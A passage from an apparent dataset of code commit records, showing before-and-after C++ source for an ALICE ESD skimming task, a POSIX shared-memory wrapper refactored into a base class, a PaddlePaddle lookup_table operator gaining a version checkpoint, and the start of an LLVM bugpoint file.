0;\n }\n for (Int_t i=0;i<AliPID::kSPECIES;i++) fTRDr[i] = 0; \n fTRDLabel = 0; \n fTRDQuality = -1;\n fTRDntracklets = 0;\n if(fTRDnSlices)\n delete[] fTRDslices;\n fTRDslices = 0;\n fTRDnSlices = 0;\n fTRDBudget = -1;\n fHMPIDchi2 = 0; \n fHMPIDqn = 0; \n fHMPIDcluIdx = -1; \n fHMPIDsignal = 0; \n for (Int_t i=0;i<AliPID::kSPECIES;i++) fHMPIDr[i] = 0;\n fHMPIDtrkTheta = 0; \n fHMPIDtrkPhi = 0; \n fHMPIDtrkX = 0; \n fHMPIDtrkY = 0; \n fHMPIDmipX = fCacheNCrossedRows;\n fHMPIDmipY = fCacheChi2TPCConstrainedVsGlobal;\n }\n };\n\n AliEsdMiniTrack *newtrack = new AliEsdMiniTrack(*track);\n newtrack->MakeMiniESDtrack();\n if (track->GetEMCALcluster()==-123) {\n newtrack->SetEMCALcluster(track->GetEMCALcluster());\n newtrack->SetTRDQuality(track->GetTRDQuality());\n newtrack->SetTRDBudget(track->GetTRDBudget());\n }\n track = newtrack;\n }\n fEvent->AddTrack(track);\n ++nacc;\n }\n if (fCuts) \n AliInfo(Form(\"Selected %d out of %d \\n\", nacc, Ntracks));\n }\n fTree->Fill();\n}\n\n\/\/_________________________________________________________________________________________________\nvoid AliEsdSkimTask::UserCreateOutputObjects() \n{\n \/\/ Create output objects.\n\n fTree = new TTree(\"esdTree\", \"Tree with skimmed ESD objects\");\n fEvent = new AliESDEvent;\n fEvent->AddObject(new AliESDHeader());\n fEvent->AddObject(new AliESDRun());\n if (fDoZDC) \n fEvent->AddObject(new AliESDZDC());\n if (fDoV0)\n fEvent->AddObject(new AliESDVZERO());\n if (fDoT0)\n fEvent->AddObject(new AliESDTZERO());\n if (fDoTPCv) {\n AliESDVertex *tpcv = new AliESDVertex();\n tpcv->SetName(\"TPCVertex\");\n fEvent->AddObject(tpcv);\n }\n if (fDoSPDv) {\n AliESDVertex *spdv = new AliESDVertex();\n spdv->SetName(\"SPDVertex\");\n fEvent->AddObject(spdv);\n }\n if (fDoPriv) {\n AliESDVertex *priv = new AliESDVertex();\n priv->SetName(\"PrimaryVertex\");\n fEvent->AddObject(priv);\n }\n if (fDoEmCs) {\n fEvent->AddObject(new AliESDCaloCells(\"EMCALCells\",\"EMCALCells\"));\n }\n if (fDoPCs) {\n fEvent->AddObject(new AliESDCaloCells(\"PHOSCells\",\"PHOSCells\"));\n }\n if (fDoEmT) {\n AliESDCaloTrigger *etrig = new AliESDCaloTrigger;\n etrig->SetName(\"EMCALTrigger\");\n fEvent->AddObject(etrig);\n }\n if (fDoPT) {\n AliESDCaloTrigger *ptrig = new AliESDCaloTrigger;\n ptrig->SetName(\"PHOSTrigger\");\n fEvent->AddObject(ptrig);\n }\n if (fDoMult) {\n fEvent->AddObject(new AliMultiplicity());\n }\n if (fDoPileup) {\n TClonesArray *arr1 = new TClonesArray(\"AliESDVertex\",0);\n arr1->SetName(\"SPDPileupVertices\");\n fEvent->AddObject(arr1);\n TClonesArray *arr2 = new TClonesArray(\"AliESDVertex\",0);\n arr2->SetName(\"TPCPileupVertices\");\n fEvent->AddObject(arr2);\n }\n if (fDoTof) { \n fEvent->AddObject(new AliTOFHeader());\n }\n if (fDoClus) {\n TClonesArray *arr = new TClonesArray(\"AliESDCaloCluster\",0);\n arr->SetName(\"CaloClusters\");\n fEvent->AddObject(arr);\n }\n TObjArray *namearr = fEmcNames.Tokenize(\";\");\n if (namearr) {\n for (Int_t i=0; i<namearr->GetEntries(); ++i) {\n TString cname(namearr->At(i)->GetName());\n if (cname.Length()<=0)\n continue;\n TClonesArray *arr = new TClonesArray(\"AliESDCaloCluster\",0);\n arr->SetName(cname);\n fEvent->AddObject(arr);\n }\n delete namearr;\n }\n if (fDoTracks) {\n TClonesArray *arr = new TClonesArray(\"AliESDtrack\",0);\n arr->SetName(\"Tracks\");\n fEvent->AddObject(arr);\n }\n fEvent->GetStdContent();\n fEvent->WriteToTree(fTree);\n fTree->GetUserInfo()->Add(fEvent);\n TFile *file = OpenFile(1);\n fTree->SetDirectory(file);\n fTree->SetAutoFlush(-1024*1024*1024);\n fTree->SetAutoSave(-1024*1024*1024);\n PostData(1,fTree);\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef MRR_POSIX_LIB_SHARED_MEM_HXX_\n#define MRR_POSIX_LIB_SHARED_MEM_HXX_\n\n#include <sys\/shm.h>\n#include <sys\/stat.h>\n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\/\/ TODO:\n\/\/\n\/\/ Break this into 3 partial specializations:\n\/\/\n\/\/ Single Value:\n\/\/\n\/\/ template<typename T>\n\/\/ struct shared_memory<T,1>;\n\/\/\n\/\/\n\/\/ String:\n\/\/\n\/\/ template <unsigned N>\n\/\/ struct shared_memory<char,N>;\n\/\/\n\/\/\n\/\/ Array:\n\/\/\n\/\/ template <typename T, unsigned N>\n\/\/ struct shared_memory<T,N>;\n\/\/ \n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\nnamespace mrr {\nnamespace posix {\n\n\/\/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n\ntemplate <typename T, unsigned Size = 1>\nstruct shared_memory\n{\n using value_type = T;\n using stripped_ptr_type = typename std::remove_pointer<value_type>::type;\n using flag_type = int;\n \n shared_memory(int flags)\n : segment_id_(shmget(IPC_PRIVATE, sizeof(T)*Size, flags)),\n shared_mem_(static_cast<value_type*>(shmat(segment_id_, NULL, 0)))\n {\n }\n\n shared_memory()\n : segment_id_(-1), shared_mem_(nullptr)\n {\n }\n\n shared_memory(shared_memory const& shm)\n : segment_id_(shm.segment_id_), shared_mem_(shm.shared_mem_)\n {\n }\n\n int segment_id() const\n {\n return segment_id_;\n }\n\n void attach(int segment_id)\n {\n segment_id_ = segment_id;\n shared_mem_ = static_cast<value_type*>(shmat(segment_id_, NULL, 0));\n }\n\n void clear()\n {\n shmdt(shared_mem_);\n }\n\n void release()\n {\n shmctl(segment_id_, IPC_RMID, NULL);\n }\n\n ~shared_memory()\n {\n release();\n }\n\n shared_memory& operator =(value_type const& val)\n {\n *shared_mem_ = val;\n return *this;\n }\n\n \/\/ For char[]\n shared_memory& operator =(value_type const * const& str)\n {\n sprintf(shared_mem_, str);\n return *this;\n }\n\n value_type* operator&()\n {\n return shared_mem_;\n }\n\n std::ostream& print(std::ostream& os) const\n {\n if(Size > 1 && std::is_same<value_type,char>::value)\n os << shared_mem_;\n else\n os << *shared_mem_;\n\n return os;\n }\n\n value_type& operator*()\n {\n return *shared_mem_;\n }\n \nprivate:\n int segment_id_;\n value_type* shared_mem_;\n \n}; \/\/ struct shared_memory\n\n\n\n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n} \/\/ namespace posix\n} \/\/ namespace mrr\n\n\/\/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\ntemplate <typename T, unsigned Size>\nstd::ostream& operator <<(std::ostream& os, mrr::posix::shared_memory<T,Size> const& mem)\n{\n return mem.print(os);\n}\n\n\n\n\n#endif \/\/ #ifndef MRR_POSIX_LIB_SHARED_MEM_HXX_\n<commit_msg>Moved core functionality of shared memory to shared_memory_base<T,N><commit_after>#ifndef MRR_POSIX_LIB_SHARED_MEM_HXX_\n#define MRR_POSIX_LIB_SHARED_MEM_HXX_\n\n#include <sys\/shm.h>\n#include <sys\/stat.h>\n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\/\/ TODO:\n\/\/\n\/\/ Break this into 3 partial specializations:\n\/\/\n\/\/ Single Value:\n\/\/\n\/\/ template<typename T>\n\/\/ struct shared_memory<T,1>;\n\/\/\n\/\/\n\/\/ String:\n\/\/\n\/\/ template <unsigned N>\n\/\/ struct shared_memory<char,N>;\n\/\/\n\/\/\n\/\/ Array:\n\/\/\n\/\/ template <typename T, unsigned N>\n\/\/ struct shared_memory<T,N>;\n\/\/ \n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\nnamespace mrr {\nnamespace posix {\n\n\/\/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\ntemplate <typename T, unsigned Size>\nstruct shared_memory;\n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\ntemplate <typename T, unsigned Size>\nstruct shared_memory_base\n{\n using value_type = T;\n using flag_type = int;\n\nprivate:\n friend class shared_memory<T,Size>;\n\n \nprotected:\n shared_memory_base(int flags)\n : segment_id_(shmget(IPC_PRIVATE, sizeof(T)*Size, flags)),\n shared_mem_(static_cast<value_type*>(shmat(segment_id_, NULL, 0)))\n {\n }\n\n shared_memory_base()\n : segment_id_(-1), shared_mem_(nullptr)\n {\n }\n\n\npublic: \n int segment_id() const\n {\n return segment_id_;\n }\n\n void attach(int segment_id)\n {\n segment_id_ = segment_id;\n shared_mem_ = static_cast<value_type*>(shmat(segment_id_, NULL, 0));\n }\n\n void clear()\n {\n shmdt(shared_mem_);\n }\n\n void release()\n {\n shmctl(segment_id_, IPC_RMID, NULL);\n }\n\n ~shared_memory_base()\n {\n release();\n }\n\n\nprotected:\n int segment_id_;\n value_type* shared_mem_;\n\n}; \/\/ struct shared_memory base\n\n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\ntemplate <typename T, unsigned Size = 1>\nstruct shared_memory : shared_memory_base<T,Size>\n{\n using base_type = shared_memory_base<T,Size>;\n\n using value_type = typename base_type::value_type;\n using flag_type = typename base_type::flag_type;\n \n shared_memory(int flags)\n : base_type(flags)\n {\n }\n\n shared_memory()\n : base_type()\n {\n }\n\n shared_memory& operator =(value_type const& val)\n {\n *base_type::shared_mem_ = val;\n return *this;\n }\n\n \/\/ For char[]\n shared_memory& operator =(value_type const * const& str)\n {\n sprintf(base_type::shared_mem_, str);\n return *this;\n }\n\n value_type* operator&()\n {\n return base_type::shared_mem_;\n }\n\n std::ostream& print(std::ostream& os) const\n {\n if(Size > 1 && std::is_same<value_type,char>::value)\n os << base_type::shared_mem_;\n else\n os << *base_type::shared_mem_;\n\n return os;\n }\n\n value_type& operator*()\n {\n return *base_type::shared_mem_;\n }\n \n}; \/\/ struct shared_memory\n\n\n\n\n\n\/\/m=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n} \/\/ namespace posix\n} \/\/ namespace mrr\n\n\/\/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\ntemplate <typename T, unsigned Size>\nstd::ostream& operator <<(std::ostream& os, mrr::posix::shared_memory<T,Size> const& mem)\n{\n return mem.print(os);\n}\n\n\n\n\n#endif \/\/ #ifndef MRR_POSIX_LIB_SHARED_MEM_HXX_\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/operators\/lookup_table_op.h\"\n\n#include <memory>\n\n#include \"paddle\/fluid\/framework\/no_need_buffer_vars_inference.h\"\n#include \"paddle\/fluid\/framework\/var_type_inference.h\"\n\nnamespace paddle {\nnamespace operators {\n\nclass LookupTableOp : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n\n void InferShape(framework::InferShapeContext* ctx) const override {\n OP_INOUT_CHECK(ctx->HasInput(\"W\"), \"Input\", \"W\", \"LookupTable\");\n OP_INOUT_CHECK(ctx->HasInput(\"Ids\"), \"Input\", \"Ids\", \"LookupTable\");\n OP_INOUT_CHECK(ctx->HasOutput(\"Out\"), \"Output\", \"Out\", \"LookupTable\");\n\n auto table_dims = ctx->GetInputDim(\"W\");\n auto ids_dims = ctx->GetInputDim(\"Ids\");\n int ids_rank = ids_dims.size();\n VLOG(5) << \"ids rank is \" << ids_rank << std::endl;\n PADDLE_ENFORCE_EQ(\n table_dims.size(), 2,\n platform::errors::InvalidArgument(\n \"ShapeError: The dimensions of the 'lookup table' must be 2. \"\n \"But received lookup table's dimensions = %d, \"\n \"lookup table's shape = [%s].\",\n table_dims.size(), table_dims));\n PADDLE_ENFORCE_EQ(\n ids_dims[ids_rank - 1], 1,\n platform::errors::InvalidArgument(\n \"ShapeError: The last dimensions of the 'Ids' tensor must be 1. \"\n \"But received Ids's last dimensions = %d, Ids's shape = [%s].\",\n ids_dims[ids_rank - 1], ids_dims));\n\n auto output_dims =\n framework::vectorize(framework::slice_ddim(ids_dims, 0, ids_rank - 1));\n output_dims.push_back(table_dims[1]);\n ctx->SetOutputDim(\"Out\", framework::make_ddim(output_dims));\n\n if (ctx->GetOutputsVarType(\"Out\")[0] ==\n framework::proto::VarType::LOD_TENSOR) {\n ctx->ShareLoD(\"Ids\", \/*->*\/ \"Out\");\n }\n }\n\n protected:\n framework::OpKernelType GetExpectedKernelType(\n const framework::ExecutionContext& ctx) const override {\n auto data_type = OperatorWithKernel::IndicateVarDataType(ctx, \"W\");\n return framework::OpKernelType(data_type, ctx.device_context());\n }\n};\n\nclass LookupTableOpMaker : public framework::OpProtoAndCheckerMaker {\n public:\n void Make() override {\n AddInput(\"W\",\n \"(Tensor) The input represents embedding tensors, \"\n \"which is a learnable parameter.\");\n AddInput(\"Ids\",\n \"An input with type int64 \"\n \"contains the ids to be looked up in W. \"\n \"The last dimension size must be 1.\");\n AddOutput(\"Out\", \"The lookup results, which have the same type as W.\");\n AddAttr<bool>(\"is_sparse\",\n \"(boolean, default false) \"\n \"Sparse update.\")\n .SetDefault(false);\n AddAttr<bool>(\"is_distributed\",\n \"(boolean, default false) distributed lookup table.\")\n .SetDefault(false);\n AddAttr<int64_t>(\"padding_idx\",\n \"(int64, default -1) \"\n \"If the value is -1, it makes no effect to lookup. \"\n \"Otherwise the given value indicates padding the output \"\n \"with zeros whenever lookup encounters it in Ids.\")\n .SetDefault(kNoPadding);\n\n \/\/ for parameter training config\n AddAttr<bool>(\"remote_prefetch\",\n \"pull sparse params from parameters, this can only be used \"\n \"in distributed training\")\n .SetDefault(false);\n\n AddAttr<std::string>(\"entry_config\",\n \"embedding sparse feature entry config, \"\n \" probability entry \/ counting \"\n \" this can only be used in distributed training\"\n \"entry\")\n .SetDefault(\"\");\n\n AddAttr<bool>(\"is_test\",\n \"(bool, default false) Set to true for inference only, false \"\n \"for training.\")\n .SetDefault(false);\n\n AddAttr<std::string>(\"entry\",\n \"(std::string, default \"\n \") for entry attribute.\")\n .SetDefault(\"none\");\n\n AddAttr<std::vector<std::string>>(\n \"table_names\",\n \"(string vector, the split table names that will be fetched from \"\n \"parameter server)\"\n \"in the order of input variables for mapping\")\n .SetDefault({});\n AddAttr<int>(\"trainer_id\", \"trainer id from 0 ~ worker_num.\").SetDefault(0);\n AddAttr<bool>(\"grad_inplace\",\n \"(boolean, default false) \"\n \"If the grad op reuse the input's variable.\")\n .SetDefault(false);\n AddAttr<std::vector<std::string>>(\n \"epmap\",\n \"(string vector, default 127.0.0.1:6164)\"\n \"Server endpoints in the order of input variables for mapping\")\n .SetDefault({});\n AddAttr<std::vector<int64_t>>(\"height_sections\",\n \"Height for each output SelectedRows.\")\n .SetDefault(std::vector<int64_t>({}));\n AddComment(R\"DOC(\nLookup Table Operator.\n\nThis operator is used to perform lookups on the parameter W,\nthen concatenated into a dense tensor.\n\nThe input Ids can carry the LoD (Level of Details) information,\nor not. And the output only shares the LoD information with input Ids.\n\n)DOC\");\n }\n};\n\nDECLARE_NO_NEED_BUFFER_VARS_INFERER(LookupTableGradOpNoBufferVarsInferer, \"W\");\n\ntemplate <typename T>\nclass LookupTableGradOpMaker : public framework::SingleGradOpMaker<T> {\n public:\n using framework::SingleGradOpMaker<T>::SingleGradOpMaker;\n\n protected:\n void Apply(GradOpPtr<T> op) const override {\n op->SetType(\"lookup_table_grad\");\n\n op->SetInput(\"W\", this->Input(\"W\"));\n op->SetInput(\"Ids\", this->Input(\"Ids\"));\n op->SetInput(framework::GradVarName(\"Out\"), this->OutputGrad(\"Out\"));\n\n op->SetOutput(framework::GradVarName(\"W\"), this->InputGrad(\"W\"));\n\n op->SetAttrMap(this->Attrs());\n }\n};\n\nclass LookupTableOpGrad : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n\n void InferShape(framework::InferShapeContext* ctx) const override {\n auto table_dims = ctx->GetInputDim(\"W\");\n ctx->SetOutputDim(framework::GradVarName(\"W\"), table_dims);\n }\n\n protected:\n framework::OpKernelType GetExpectedKernelType(\n const framework::ExecutionContext& ctx) const override {\n auto data_type = OperatorWithKernel::IndicateVarDataType(\n ctx, framework::GradVarName(\"Out\"));\n return framework::OpKernelType(data_type, ctx.device_context());\n }\n};\n\nclass LookupTableOpGradVarTypeInference : public framework::VarTypeInference {\n public:\n void operator()(framework::InferVarTypeContext* ctx) const override {\n auto out_var_name = framework::GradVarName(\"W\");\n auto attr = ctx->GetAttr(\"is_sparse\");\n bool is_sparse = BOOST_GET(bool, attr);\n if (is_sparse) {\n VLOG(3) << \"lookup_table_grad op \" << framework::GradVarName(\"W\")\n << \" is set to SelectedRows\";\n ctx->SetOutputType(out_var_name,\n framework::proto::VarType::SELECTED_ROWS);\n } else {\n VLOG(3) << \"lookup_table_grad op \" << framework::GradVarName(\"W\")\n << \" is set to LoDTensor\";\n ctx->SetOutputType(out_var_name, framework::proto::VarType::LOD_TENSOR);\n }\n ctx->SetOutputDataType(out_var_name, ctx->GetInputDataType(\"W\"));\n }\n};\n\n} \/\/ namespace operators\n} \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\nREGISTER_OPERATOR(lookup_table, ops::LookupTableOp, ops::LookupTableOpMaker,\n ops::LookupTableGradOpMaker<paddle::framework::OpDesc>,\n ops::LookupTableGradOpMaker<paddle::imperative::OpBase>);\n\nREGISTER_OPERATOR(lookup_table_grad, ops::LookupTableOpGrad,\n ops::LookupTableGradOpNoBufferVarsInferer,\n ops::LookupTableOpGradVarTypeInference);\n\nREGISTER_OP_CPU_KERNEL(lookup_table, ops::LookupTableKernel<float>,\n ops::LookupTableKernel<double>,\n ops::LookupTableKernel<int8_t>);\nREGISTER_OP_CPU_KERNEL(lookup_table_grad, ops::LookupTableGradKernel<float>,\n ops::LookupTableGradKernel<double>);\n<commit_msg>for inference checkpoint (#30081)<commit_after>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/operators\/lookup_table_op.h\"\n\n#include <memory>\n\n#include \"paddle\/fluid\/framework\/no_need_buffer_vars_inference.h\"\n#include \"paddle\/fluid\/framework\/op_version_registry.h\"\n#include \"paddle\/fluid\/framework\/var_type_inference.h\"\n\nnamespace paddle {\nnamespace operators {\n\nclass LookupTableOp : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n\n void InferShape(framework::InferShapeContext* ctx) const override {\n OP_INOUT_CHECK(ctx->HasInput(\"W\"), \"Input\", \"W\", \"LookupTable\");\n OP_INOUT_CHECK(ctx->HasInput(\"Ids\"), \"Input\", \"Ids\", \"LookupTable\");\n OP_INOUT_CHECK(ctx->HasOutput(\"Out\"), \"Output\", \"Out\", \"LookupTable\");\n\n auto table_dims = ctx->GetInputDim(\"W\");\n auto ids_dims = ctx->GetInputDim(\"Ids\");\n int ids_rank = ids_dims.size();\n VLOG(5) << \"ids rank is \" << ids_rank << std::endl;\n PADDLE_ENFORCE_EQ(\n table_dims.size(), 2,\n platform::errors::InvalidArgument(\n \"ShapeError: The dimensions of the 'lookup table' must be 2. \"\n \"But received lookup table's dimensions = %d, \"\n \"lookup table's shape = [%s].\",\n table_dims.size(), table_dims));\n PADDLE_ENFORCE_EQ(\n ids_dims[ids_rank - 1], 1,\n platform::errors::InvalidArgument(\n \"ShapeError: The last dimensions of the 'Ids' tensor must be 1. \"\n \"But received Ids's last dimensions = %d, Ids's shape = [%s].\",\n ids_dims[ids_rank - 1], ids_dims));\n\n auto output_dims =\n framework::vectorize(framework::slice_ddim(ids_dims, 0, ids_rank - 1));\n output_dims.push_back(table_dims[1]);\n ctx->SetOutputDim(\"Out\", framework::make_ddim(output_dims));\n\n if (ctx->GetOutputsVarType(\"Out\")[0] ==\n framework::proto::VarType::LOD_TENSOR) {\n ctx->ShareLoD(\"Ids\", \/*->*\/ \"Out\");\n }\n }\n\n protected:\n framework::OpKernelType GetExpectedKernelType(\n const framework::ExecutionContext& ctx) const override {\n auto data_type = OperatorWithKernel::IndicateVarDataType(ctx, \"W\");\n return framework::OpKernelType(data_type, ctx.device_context());\n }\n};\n\nclass LookupTableOpMaker : public framework::OpProtoAndCheckerMaker {\n public:\n void Make() override {\n AddInput(\"W\",\n \"(Tensor) The input represents embedding tensors, \"\n \"which is a learnable parameter.\");\n AddInput(\"Ids\",\n \"An input with type int64 \"\n \"contains the ids to be looked up in W. \"\n \"The last dimension size must be 1.\");\n AddOutput(\"Out\", \"The lookup results, which have the same type as W.\");\n AddAttr<bool>(\"is_sparse\",\n \"(boolean, default false) \"\n \"Sparse update.\")\n .SetDefault(false);\n AddAttr<bool>(\"is_distributed\",\n \"(boolean, default false) distributed lookup table.\")\n .SetDefault(false);\n AddAttr<int64_t>(\"padding_idx\",\n \"(int64, default -1) \"\n \"If the value is -1, it makes no effect to lookup. \"\n \"Otherwise the given value indicates padding the output \"\n \"with zeros whenever lookup encounters it in Ids.\")\n .SetDefault(kNoPadding);\n\n \/\/ for parameter training config\n AddAttr<bool>(\"remote_prefetch\",\n \"pull sparse params from parameters, this can only be used \"\n \"in distributed training\")\n .SetDefault(false);\n\n AddAttr<std::string>(\"entry_config\",\n \"embedding sparse feature entry config, \"\n \" probability entry \/ counting \"\n \" this can only be used in distributed training\"\n \"entry\")\n .SetDefault(\"\");\n\n AddAttr<bool>(\"is_test\",\n \"(bool, default false) Set to true for inference only, false \"\n \"for training.\")\n .SetDefault(false);\n\n AddAttr<std::string>(\"entry\",\n \"(std::string, default \"\n \") for entry attribute.\")\n .SetDefault(\"none\");\n\n AddAttr<std::vector<std::string>>(\n \"table_names\",\n \"(string vector, the split table names that will be fetched from \"\n \"parameter server)\"\n \"in the order of input variables for mapping\")\n .SetDefault({});\n AddAttr<int>(\"trainer_id\", \"trainer id from 0 ~ worker_num.\").SetDefault(0);\n AddAttr<bool>(\"grad_inplace\",\n \"(boolean, default false) \"\n \"If the grad op reuse the input's variable.\")\n .SetDefault(false);\n AddAttr<std::vector<std::string>>(\n \"epmap\",\n \"(string vector, default 127.0.0.1:6164)\"\n \"Server endpoints in the order of input variables for mapping\")\n .SetDefault({});\n AddAttr<std::vector<int64_t>>(\"height_sections\",\n \"Height for each output SelectedRows.\")\n .SetDefault(std::vector<int64_t>({}));\n AddComment(R\"DOC(\nLookup Table Operator.\n\nThis operator is used to perform lookups on the parameter W,\nthen concatenated into a dense tensor.\n\nThe input Ids can carry the LoD (Level of Details) information,\nor not. And the output only shares the LoD information with input Ids.\n\n)DOC\");\n }\n};\n\nDECLARE_NO_NEED_BUFFER_VARS_INFERER(LookupTableGradOpNoBufferVarsInferer, \"W\");\n\ntemplate <typename T>\nclass LookupTableGradOpMaker : public framework::SingleGradOpMaker<T> {\n public:\n using framework::SingleGradOpMaker<T>::SingleGradOpMaker;\n\n protected:\n void Apply(GradOpPtr<T> op) const override {\n op->SetType(\"lookup_table_grad\");\n\n op->SetInput(\"W\", this->Input(\"W\"));\n op->SetInput(\"Ids\", this->Input(\"Ids\"));\n op->SetInput(framework::GradVarName(\"Out\"), this->OutputGrad(\"Out\"));\n\n op->SetOutput(framework::GradVarName(\"W\"), this->InputGrad(\"W\"));\n\n op->SetAttrMap(this->Attrs());\n }\n};\n\nclass LookupTableOpGrad : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n\n void InferShape(framework::InferShapeContext* ctx) const override {\n auto table_dims = ctx->GetInputDim(\"W\");\n ctx->SetOutputDim(framework::GradVarName(\"W\"), table_dims);\n }\n\n protected:\n framework::OpKernelType GetExpectedKernelType(\n const framework::ExecutionContext& ctx) const override {\n auto data_type = OperatorWithKernel::IndicateVarDataType(\n ctx, framework::GradVarName(\"Out\"));\n return framework::OpKernelType(data_type, ctx.device_context());\n }\n};\n\nclass LookupTableOpGradVarTypeInference : public framework::VarTypeInference {\n public:\n void operator()(framework::InferVarTypeContext* ctx) const override {\n auto out_var_name = framework::GradVarName(\"W\");\n auto attr = ctx->GetAttr(\"is_sparse\");\n bool is_sparse = BOOST_GET(bool, attr);\n if (is_sparse) {\n VLOG(3) << \"lookup_table_grad op \" << framework::GradVarName(\"W\")\n << \" is set to SelectedRows\";\n ctx->SetOutputType(out_var_name,\n framework::proto::VarType::SELECTED_ROWS);\n } else {\n VLOG(3) << \"lookup_table_grad op \" << framework::GradVarName(\"W\")\n << \" is set to LoDTensor\";\n ctx->SetOutputType(out_var_name, framework::proto::VarType::LOD_TENSOR);\n }\n ctx->SetOutputDataType(out_var_name, ctx->GetInputDataType(\"W\"));\n }\n};\n\n} \/\/ namespace operators\n} \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\nREGISTER_OPERATOR(lookup_table, ops::LookupTableOp, ops::LookupTableOpMaker,\n ops::LookupTableGradOpMaker<paddle::framework::OpDesc>,\n ops::LookupTableGradOpMaker<paddle::imperative::OpBase>);\n\nREGISTER_OPERATOR(lookup_table_grad, ops::LookupTableOpGrad,\n ops::LookupTableGradOpNoBufferVarsInferer,\n ops::LookupTableOpGradVarTypeInference);\n\nREGISTER_OP_CPU_KERNEL(lookup_table, ops::LookupTableKernel<float>,\n ops::LookupTableKernel<double>,\n ops::LookupTableKernel<int8_t>);\nREGISTER_OP_CPU_KERNEL(lookup_table_grad, ops::LookupTableGradKernel<float>,\n ops::LookupTableGradKernel<double>);\n\n\/* ========================== register checkpoint ===========================*\/\n\nREGISTER_OP_VERSION(lookup_table)\n .AddCheckpoint(\n R\"ROC(\n Upgrade lookup_table add 1 attribute [entry_config].\n )ROC\",\n paddle::framework::compatible::OpVersionDesc().NewAttr(\n \"entry_config\",\n \"(std::string) embedding sparse feature entry config.\", \"\"));\n\n\/* ========================================================================== *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/===- CodeGeneratorBug.cpp - Debug code generation bugs ------------------===\/\/\n\/\/\n\/\/ This file implements program code generation debugging support.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"BugDriver.h\"\n#include \"SystemUtils.h\"\n#include \"ListReducer.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/GlobalValue.h\"\n#include \"llvm\/iMemory.h\"\n#include \"llvm\/iTerminators.h\"\n#include \"llvm\/iOther.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Analysis\/Verifier.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"llvm\/Transforms\/Utils\/Cloning.h\"\n#include \"llvm\/Transforms\/Utils\/Linker.h\"\n#include \"Support\/Statistic.h\"\n#include \"Support\/StringExtras.h\"\n#include <algorithm>\n#include <set>\n\nclass ReduceMisCodegenFunctions : public ListReducer<Function*> {\n BugDriver &BD;\npublic:\n ReduceMisCodegenFunctions(BugDriver &bd) : BD(bd) {}\n\n virtual TestResult doTest(std::vector<Function*> &Prefix,\n std::vector<Function*> &Suffix) {\n if (!Prefix.empty() && TestFuncs(Prefix))\n return KeepPrefix;\n if (!Suffix.empty() && TestFuncs(Suffix))\n return KeepSuffix;\n return NoFailure;\n }\n \n bool TestFuncs(const std::vector<Function*> &CodegenTest,\n bool KeepFiles = false);\n\n void DisambiguateGlobalSymbols(Module *M);\n};\n\n\nbool 